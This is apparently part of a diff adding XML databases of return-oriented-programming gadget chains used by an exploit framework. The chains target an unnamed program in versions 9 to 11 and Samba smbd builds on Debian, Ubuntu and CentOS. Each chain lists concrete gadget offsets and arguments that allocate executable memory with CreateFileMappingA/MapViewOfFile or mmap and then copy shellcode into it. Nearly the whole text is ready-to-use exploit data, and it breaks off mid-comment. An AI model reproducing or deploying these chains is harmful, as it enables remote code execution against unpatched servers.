|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>9</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x4a800000">
|
||||
<gadget offset="0x2313d">pop ecx # ret</gadget>
|
||||
<gadget offset="0x2a713">push eax # pop esp # ret</gadget>
|
||||
<gadget offset="0x01f90">pop eax # ret</gadget>
|
||||
<gadget offset="0x49038">ptr to CreateFileMappingA()</gadget>
|
||||
<gadget offset="0x07e7d">call [eax] # ret</gadget>
|
||||
<gadget value="0xffffffff">HANDLE hFile</gadget>
|
||||
<gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
|
||||
<gadget value="0x00000040">DWORD flProtect</gadget>
|
||||
<gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
|
||||
<gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
|
||||
<gadget value="0x00000000">LPCTSTR lpName</gadget>
|
||||
<gadget offset="0x0155a">pop edi # ret</gadget>
|
||||
<gadget offset="0x43a84">pop ebp # pop ebx # pop ecx # ret</gadget>
|
||||
<gadget offset="0x2d4de">pop ebx # ret</gadget>
|
||||
<gadget offset="0x01f90">pop eax # ret</gadget>
|
||||
<gadget offset="0x476aa">pop ecx # ret</gadget>
|
||||
<gadget offset="0x49030">ptr to MapViewOfFile()</gadget>
|
||||
<gadget offset="0x44122">mov edx, ecx</gadget>
|
||||
<gadget offset="0x476aa">pop ecx # ret</gadget>
|
||||
<gadget offset="0x07e7d">call [eax] # ret</gadget>
|
||||
<gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
|
||||
<gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
|
||||
<gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
|
||||
<gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
|
||||
<gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
|
||||
<gadget offset="0x43a82">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
|
||||
<gadget offset="0x46c5e">jmp IAT msvcr80!memcpy</gadget>
|
||||
<gadget offset="0x476ab">ret</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget value="0x00000400">memcpy length</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x17984">xchg eax, ebp # ret</gadget>
|
||||
<gadget offset="0x13178">pushad # add al, 0 # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>10</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x4a800000">
|
||||
<gadget offset="0x26015">pop ecx # ret</gadget>
|
||||
<gadget offset="0x2e090">push eax # pop esp # ret</gadget>
|
||||
<gadget offset="0x2007d">pop eax # ret</gadget>
|
||||
<gadget offset="0x50038">ptr to CreateFileMappingA()</gadget>
|
||||
<gadget offset="0x246d5">call [eax] # ret</gadget>
|
||||
<gadget value="0xffffffff">HANDLE hFile</gadget>
|
||||
<gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
|
||||
<gadget value="0x00000040">DWORD flProtect</gadget>
|
||||
<gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
|
||||
<gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
|
||||
<gadget value="0x00000000">LPCTSTR lpName</gadget>
|
||||
<gadget offset="0x05016">pop edi # ret</gadget>
|
||||
<gadget offset="0x4420c">pop ebp # pop ebx # pop ecx # ret</gadget>
|
||||
<gadget offset="0x14241">pop ebx # ret</gadget>
|
||||
<gadget offset="0x2007d">pop eax # ret</gadget>
|
||||
<gadget offset="0x26015">pop ecx # ret</gadget>
|
||||
<gadget offset="0x50030">ptr to MapViewOfFile()</gadget>
|
||||
<gadget offset="0x4b49d">mov edx, ecx</gadget>
|
||||
<gadget offset="0x26015">pop ecx # ret</gadget>
|
||||
<gadget offset="0x246d5">call [eax] # ret</gadget>
|
||||
<gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
|
||||
<gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
|
||||
<gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
|
||||
<gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
|
||||
<gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
|
||||
<gadget offset="0x14013">pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret</gadget>
|
||||
<gadget offset="0x4e036">jmp to IAT msvcr90!memcpy</gadget>
|
||||
<gadget offset="0x2a8df">ret</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget value="0x00000400">memcpy length</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x18b31">xchg eax, ebp # ret</gadget>
|
||||
<gadget offset="0x14197">pushad # add al, 0 # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>11</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0x4a800000">
|
||||
<gadget offset="0x5822c">pop ecx # ret</gadget>
|
||||
<gadget offset="0x2f129">push eax # pop esp # ret</gadget>
|
||||
<gadget offset="0x5597f">pop eax # ret</gadget>
|
||||
<gadget offset="0x66038">ptr to CreateFileMappingA()</gadget>
|
||||
<gadget offset="0x3f1d5">call [eax] # ret</gadget>
|
||||
<gadget value="0xffffffff">HANDLE hFile</gadget>
|
||||
<gadget value="0x00000000">LPSECURITY_ATTRIBUTES lpAttributes</gadget>
|
||||
<gadget value="0x00000040">DWORD flProtect</gadget>
|
||||
<gadget value="0x00000000">DWORD dwMaximumSizeHigh</gadget>
|
||||
<gadget value="0x00001000">DWORD dwMaximumSizeHigh</gadget>
|
||||
<gadget value="0x00000000">LPCTSTR lpName</gadget>
|
||||
<gadget offset="0x55093">pop edi # ret</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x50030">pop ebx # pop esi # pop ebp # ret</gadget>
|
||||
<gadget offset="0x5597f">pop eax # ret</gadget>
|
||||
<gadget offset="0x50031">pop esi # pop ebp # ret</gadget>
|
||||
<gadget value="junk">JUNK</gadget>
|
||||
<gadget offset="0x5822c">pop ecx # ret</gadget>
|
||||
<gadget offset="0x3f1d5">call [eax] # ret</gadget>
|
||||
<gadget offset="0x5d4f8">pop edx # ret</gadget>
|
||||
<gadget offset="0x66030">ptr to MapViewOfFile()</gadget>
|
||||
<gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
|
||||
<gadget value="0x00000026">DWORD dwDesiredAccess</gadget>
|
||||
<gadget value="0x00000000">DWORD dwFileOffsetHigh</gadget>
|
||||
<gadget value="0x00000000">DWORD dwFileOffsetLow</gadget>
|
||||
<gadget value="0x00000000">SIZE_T dwNumberOfBytesToMap</gadget>
|
||||
<gadget offset="0x14856">pop edi # pop esi # pop ebp # ret</gadget>
|
||||
<gadget offset="0x505a0">memcpy address</gadget>
|
||||
<gadget offset="0x60bc4">call eax # ret</gadget>
|
||||
<gadget offset="0x505a0">memcpy address</gadget>
|
||||
<gadget offset="0x1c376">xchg eax, ebp # ret</gadget>
|
||||
<gadget offset="0x463d0">pop ebx # ret</gadget>
|
||||
<gadget value="0x00000400">memcpy length</gadget>
|
||||
<gadget offset="0x5d4f8">pop edx # ret</gadget>
|
||||
<gadget offset="0x5d4f8">pop edx # ret</gadget>
|
||||
<gadget offset="0x14864">pushad # add al, 0 # pop ebp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,436 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcrypt
|
||||
ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
|
||||
b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||
b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x00071ad4">offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00071af4">mmap@got - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00009974">jmp eax</gadget>
|
||||
<gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||
<gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax ; ret</gadget>
|
||||
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00071b6c">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<!-- set ecx to same value than edx -->
|
||||
<gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||
<gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
|
||||
|
||||
</rop>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcr
|
||||
ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
|
||||
b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||
<gadget offset="0x00082ff4">offset of .got.plt section</gadget>
|
||||
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||
<gadget offset="0x000830a4">mmap@got - 4</gadget>
|
||||
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00007d79">jmp eax</gadget>
|
||||
<gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00084000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006933f">pop eax ; ret</gadget>
|
||||
<gadget offset="0x00084100">eax = writable location, in GOT</gadget>
|
||||
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||
<gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebx</gadget>
|
||||
<gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
|
||||
<gadget value ="0x00000000">junk for edi</gadget>
|
||||
<gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
|
||||
<gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00083024">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x00004803">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcr
|
||||
ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
|
||||
b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
|
||||
we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
|
||||
4 first pops are after pop esp
|
||||
-->
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00007f19">jmp eax</gadget>
|
||||
<gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
|
||||
<gadget offset="0x0005c45c">pop ecx ; ret</gadget>
|
||||
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
|
||||
<gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x0007204c">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x00060e5a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcrypt
|
||||
ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
|
||||
b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x0000922c">jmp eax</gadget>
|
||||
<gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||
<gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
|
||||
<gadget offset="0x0006421f">pop eax ; ret</gadget>
|
||||
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072094">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<!-- set ecx to same value than edx -->
|
||||
<gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||
<gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>3.5.10-0.107.el5 on CentOS 5</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
yum list |grep libgcrypt
|
||||
libgcrypt.i386 1.4.4-5.el5 installed
|
||||
02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||
02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||
section is writable and executable, we'll copy the shellcode over there instead of using mmap
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
|
||||
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
|
||||
<gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
|
||||
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||
<gadget offset="0x0006a73f">pop eax ; ret</gadget>
|
||||
<gadget offset="0x0007effc">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
|
||||
<gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
|
||||
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||
<gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
|
||||
<gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1**</gadget>
|
||||
<gadget offset="0x0006200a">pushad ; ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
</rop>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
|
||||
|
||||
<compatibility>
|
||||
